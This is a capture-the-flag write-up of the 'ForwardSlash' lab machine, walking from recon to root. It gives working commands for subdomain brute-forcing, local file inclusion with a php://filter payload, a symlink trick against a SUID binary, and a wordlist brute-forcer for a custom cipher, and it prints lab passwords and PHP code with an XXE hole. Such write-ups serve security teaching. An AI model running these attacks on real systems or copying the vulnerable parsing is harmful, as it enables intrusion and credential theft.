Summary
- We find backup sub-domain using ffuf which contains a disabled form with LFI vulnerability.
- We use
php://filter
wrapper to read a php file containing a user password. - We analyze a SUID binary and create a
soft link
using bash one-liner to read a config backup file. - We decrypt an encrypted message using brute force and looking for common words in decrypted message.
- Finally, we decrypt and mount a
LUKS encrypted file
which contains id_rsa private key of root.
Recon
nmap
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
root@kali:~# nmap -sC -sV 10.10.10.183
Starting Nmap 7.80 ( https://nmap.org ) at 2020-04-04 15:12 EDT
Nmap scan report for 10.10.10.183
Host is up (0.19s latency).
Not shown: 998 closed ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 3c:3b:eb:54:96:81:1d:da:d7:96:c7:0f:b4:7e:e1:cf (RSA)
| 256 f6:b3:5f:a2:59:e3:1e:57:35:36:c3:fe:5e:3d:1f:66 (ECDSA)
|_ 256 1b:de:b8:07:35:e8:18:2c:19:d8:cc:dd:77:9c:f2:5e (ED25519)
80/tcp open http Apache httpd 2.4.29 ((Ubuntu))
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: Did not follow redirect to http://forwardslash.htb
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 32.54 seconds
/etc/hosts
we get a redirect to forwardslash.htb
on port 80, so lets add it in /etc/hosts
file to access the webpage
Port 80
the index.php
page doesn’t contain any links
gobuster
1
gobuster dir -u forwardslash.htb -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x php,html,txt -t 100
very quickly I found a file note.txt
, you might get stuck here if you don’t check for txt files
FFUF
In the note, chiv
is taking about a backup site
, so lets brute force for sub-domains
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
root@kali:~# ffuf -H 'Host: FUZZ.forwardslash.htb' -u http://10.10.10.183 -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-110000.txt -fs 0
/'___\ /'___\ /'___\
/\ \__/ /\ \__/ __ __ /\ \__/
\ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
\ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
\ \_\ \ \_\ \ \____/ \ \_\
\/_/ \/_/ \/___/ \/_/
v1.1.0-git
________________________________________________
:: Method : GET
:: URL : http://10.10.10.183
:: Wordlist : FUZZ: /usr/share/seclists/Discovery/DNS/subdomains-top1million-110000.txt
:: Header : Host: FUZZ.forwardslash.htb
:: Follow redirects : false
:: Calibration : false
:: Timeout : 10
:: Threads : 40
:: Matcher : Response status: 200,204,301,302,307,401,403
:: Filter : Response size: 0
________________________________________________
backup [Status: 302, Size: 33, Words: 6, Lines: 1]
we get a result pretty quickly, the backup site is backup.forwardslash.htb
to access this site we need to add it in /etc/hosts
file
SubDomain
backup site
There is a Login and SignUp page. Register and Login to get to welcome.php
Disabled Form
After login only the profilepicture.php
page looks interesting
The URL form field and the Submit button are disabled. To enable them, I removed disabled=""
from the input tags using Inspect Element
I intercepted the POST request in burp and used Repeater to try different URL inputs
Local File Inclusion
Identification
sending /etc/passwd
as URL input gave the /etc/passwd file which means we have LFI
now that we can read files on the machine, lets find some interesting files to read using gobuster
gobuster
1
gobuster dir -u backup.forwardslash.htb -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x php,html,txt -t 100
we have dev
directory, visiting dev/index.php
gives 403 Access Denied
it says access denied from my IP so probably /dev can only be accessed from localhost
Reading PHP File
We can try to read dev/index.php
using LFI
we get Permission Denied; not that way ;)
, we can try using php://filter
wrapper
1
php://filter/convert.base64-encode/resource=dev/index.php
using this we get base64 encoded data, we can decode it to read the content of php file
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
<?php
//include_once ../session.php;
// Initialize the session
session_start();
if((!isset($_SESSION["loggedin"]) || $_SESSION["loggedin"] !== true || $_SESSION['username'] !== "admin") && $_SERVER['REMOTE_ADDR'] !== "127.0.0.1"){
header('HTTP/1.0 403 Forbidden');
echo "<h1>403 Access Denied</h1>";
echo "<h3>Access Denied From ", $_SERVER['REMOTE_ADDR'], "</h3>";
//echo "<h2>Redirecting to login in 3 seconds</h2>"
//echo '<meta http-equiv="refresh" content="3;url=../login.php" />';
//header("location: ../login.php");
exit;
}
?>
<html>
<h1>XML Api Test</h1>
<h3>This is our api test for when our new website gets refurbished</h3>
<form action="/dev/index.php" method="get" id="xmltest">
<textarea name="xml" form="xmltest" rows="20" cols="50"><api>
<request>test</request>
</api>
</textarea>
<input type="submit">
</form>
</html>
<!-- TODO:
Fix FTP Login
-->
<?php
if ($_SERVER['REQUEST_METHOD'] === "GET" && isset($_GET['xml'])) {
$reg = '/ftp:\/\/[\s\S]*\/\"/';
//$reg = '/((((25[0-5])|(2[0-4]\d)|([01]?\d?\d)))\.){3}((((25[0-5])|(2[0-4]\d)|([01]?\d?\d))))/'
if (preg_match($reg, $_GET['xml'], $match)) {
$ip = explode('/', $match[0])[2];
echo $ip;
error_log("Connecting");
$conn_id = ftp_connect($ip) or die("Couldn't connect to $ip\n");
error_log("Logging in");
if (@ftp_login($conn_id, "chiv", 'N0bodyL1kesBack/')) {
error_log("Getting file");
echo ftp_get_string($conn_id, "debug.txt");
}
exit;
}
libxml_disable_entity_loader (false);
$xmlfile = $_GET["xml"];
$dom = new DOMDocument();
$dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);
$api = simplexml_import_dom($dom);
$req = $api->request;
echo "-----output-----<br>\r\n";
echo "$req";
}
function ftp_get_string($ftp, $filename) {
$temp = fopen('php://temp', 'r+');
if (@ftp_fget($ftp, $temp, $filename, FTP_BINARY, 0)) {
rewind($temp);
return stream_get_contents($temp);
}
else {
return false;
}
}
?>
we found chiv’s password in the php code –> N0bodyL1kesBack/
User PrivEsc
SSH
We can SSH as chiv
using the password found above
chiv doesn’t have user.txt so we need to escalate to user pain
sudo -l
revealed that chiv is not a sudoer
SUID binary
I found a suid binary whose owner was pain so this is definitely the way to escalate
find / -perm -u=s -user pain 2>/dev/null
Binary Analysis
I downloaded the binary and analyzed it using IDA
so basically it just reads the content of a file whose name is md5sum of the current time HH:MM:SS
rather than using IDA, we can also use ltrace
to figure this out
lets verify this by creating a file with the correct name and then running /usr/bin/backup using bash one-liner
1
echo "something" > $(date | cut -d ' ' -f 4 | tr -d '\n' | md5sum | cut -d ' ' -f 1); /usr/bin/backup
the output contains the content of the file, so its verified that /usr/bin/backup just reads the file
config file
I also found a config backup file /var/backups/config.php.bak
owned by pain
find / -user pain 2>/dev/null
from the /var/backups/note.txt
file, we know that config.php.bak
has a password so we need to read it somehow
Soft Link
To read config file, we just need to create a soft link with md5sum name that points to the config file
for some reason this only worked in chiv’s home directory and didn’t worked in /tmp
1
ln -s /var/backups/config.php.bak $(date | cut -d ' ' -f 4 | tr -d '\n' | md5sum | cut -d ' ' -f 1); /usr/bin/backup
We got pain’s password for mysql login –> db1f73a72678e857d91e71d2963a1afa9efbabb32164cc1d94dbc704
but I was not able to open mysql using these creds
mysql -u pain -p
then I tried to switch user using the same password and it was successful
su - pain
PrivEsc to root
Crypto
encrypter.py contains the following encrypt and decrypt functions
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
def encrypt(key, msg):
key = list(key)
msg = list(msg)
for char_key in key:
for i in range(len(msg)):
if i == 0:
tmp = ord(msg[i]) + ord(char_key) + ord(msg[-1])
else:
tmp = ord(msg[i]) + ord(char_key) + ord(msg[i-1])
while tmp > 255:
tmp -= 256
msg[i] = chr(tmp)
return ''.join(msg)
def decrypt(key, msg):
key = list(key)
msg = list(msg)
for char_key in reversed(key):
for i in reversed(range(len(msg))):
if i == 0:
tmp = ord(msg[i]) - (ord(char_key) + ord(msg[-1]))
else:
tmp = ord(msg[i]) - (ord(char_key) + ord(msg[i-1]))
while tmp < 0:
tmp += 256
msg[i] = chr(tmp)
return ''.join(msg)
print encrypt('REDACTED', 'REDACTED')
print decrypt('REDACTED', encrypt('REDACTED', 'REDACTED'))
BruteForce
After analyzing the encrypt and decrypt functions, I realized that it is not possible to recreate the key or decrypt without a key
so I just wrote bruteForce.py which used rockyou.txt to decrypt the ciphertext
it checks if the decrypted text contain words like key, pass, the etc. to know if the key is correct or not
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
def decrypt(key, msg):
key = list(key)
msg = list(msg)
for char_key in reversed(key):
for i in reversed(range(len(msg))):
if i == 0:
tmp = ord(msg[i]) - (ord(char_key) + ord(msg[-1]))
else:
tmp = ord(msg[i]) - (ord(char_key) + ord(msg[i-1]))
while tmp < 0:
tmp += 256
msg[i] = chr(tmp)
return ''.join(msg)
c = open('encryptorinator/ciphertext','r')
ciphertext = c.read()
f = open('/usr/share/wordlists/rockyou.txt','rb')
passwords = f.readlines()
wordsInMsg = ['pass', 'crypto', 'message', 'key', 'Key', 'the', 'The']
for p in passwords:
passwd = p[:-1]
plaintext = decrypt(passwd,ciphertext)
flag = 0
for i in wordsInMsg:
if i in plaintext:
print(passwd)
print(plaintext)
flag = 1
break
if flag == 1:
break
the decrypted ciphertext gave us the key cB!6%sdH8Lj^@Y*$C2cf
for encrypted image in /var/backups/recovery/
LUKS
it’s a LUKS encrypted file
, I searched how to decrypt it and this result was useful
https://askubuntu.com/questions/835525/how-to-mount-luks-encrypted-file
mount is usually only allowed to run as root so i did sudo -l
to see the commands that pain can run as root
finally i used the following commands to decrypt and mount the LUKS encrypted file
1
2
3
sudo /sbin/cryptsetup luksOpen encrypted_backup.img backup
mkdir mnt
sudo /bin/mount /dev/mapper/backup ./mnt/
we can now use this id_rsa to SSH as root